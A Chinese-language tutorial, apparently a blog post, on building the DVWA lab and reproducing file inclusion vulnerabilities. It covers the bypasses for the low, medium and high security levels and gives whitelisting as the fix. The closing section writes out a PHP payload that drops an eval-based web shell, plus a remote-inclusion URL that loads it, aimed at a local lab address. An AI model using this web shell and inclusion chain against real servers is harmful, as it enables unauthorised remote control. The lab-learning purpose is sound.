文件包含靶场搭建以及漏洞复现&解决办法
1.首先我们搭建dvwa靶场,使用的是php7.3.4,并且在php.in中打开allow_url_include = on(具体搭建步骤可参考上一篇文件https://www.cnblogs.com/hanstedt/articles/16782566.html)
2.使用默认账号密码admin password进去:
File Inclusion,意思是文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)。
分析低,中,高,我们可以看到三种对于page参数的不同验证方式,低的情况下不做任何验证,中的情况下,知识对于一些外部文件http的https的。以及对于目录遍历,使用..爆信息和目录的做了处理。
在安全低的情况下:(php或者固定的cms有固定的目录名称),当然我们可以使用dirsearch或者御剑去扫目录,可以使用../../去查看敏感信息,或者远程包含:
我们可以看到直接爆出目录,看到phpinfo
在安全中的情况下:可以看到多了str_replace()
函数,上面两行过滤代码的意思就是将http://
,https://
,../
, ..\
"都替换为空””
针对http,https,以及远程文件包含进行了过滤,但是我们可以通过双写,大小写来绕过,或者使用绝对路径来绕过,既然 ../
被过滤了。那么,此时,就不能用../
进行目录跳转。(这里注意Windows是不区分大小写的,这也是我们平常找一张网站图片,查看是否是linux或者windows的服务器的一种方法)
在安全高的情况下:我们分析代码high级别的判定条件是:if( !fnmatch( “file*”, $file ) && $file != “include.php” )fnmatch()函数根据指定的模式来匹配文件名或字符串。fnmatch( "file*", $file )可以理解为,检查传入的$file是否匹配给出的shell通配符”file*”,如果匹配成功则返回true,否则返回false。所以这段代码的意思就是包含的文件名中需要以file开头,或者file就为include.php,否则就输出报错 “ERROR: File not found!”。所以这里就可以通过file协议来包含本地文件来进行绕过。
最后再来看最高级别的安全验证也叫不可能级别:
分析代码我们可以看到,只允许file1.php,file2.php和file3.php,所以我们可以看出来,这种数据白名单模式了,是只允许xxx,而不是如果不是xxx,只要文件名和白名单上的不一样就没有办法包含,就不会有安全问题,也就避免了文件包含漏洞的产生。
总结:在防御方面,我们可以知道,白名单是最有效的方法,其次我们加严格的过滤,以及在跳转页面,或者资源有限的情况下,加不同的验证方法~
衍生:getshell,当然不管是命令执行,文件包含,还是文件上传,其根本目的都是为了拿到服务器的权限,命令执行的方法已经在上篇文章进行了演示。因为文件包含直接利用方式肯定是远程文件包含,只要我们远程有一个马,这正也是cs的原理:
这里目录为:
1.首先我们需要写入一个马,在自己的服务器上新建一个txt文件:
payload:<?php $file = fopen("a.php","w");fputs($file,'<?php @eval($_REQUEST[xxx]);?>')?>
2.然后通过文件包含的方式写入马:
http://192.168.40.136/dvwa/vulnerabilities/fi/?page=http://192.168.40.136/1.txt
3.这时候我们发现,在我们fi的文件目录下就有了a.php
4.最后通过菜刀或者蚁剑连接对应的目录地址:
http://192.168.40.136/dvwa/vulnerabilities/fi/a.php
成功getshell~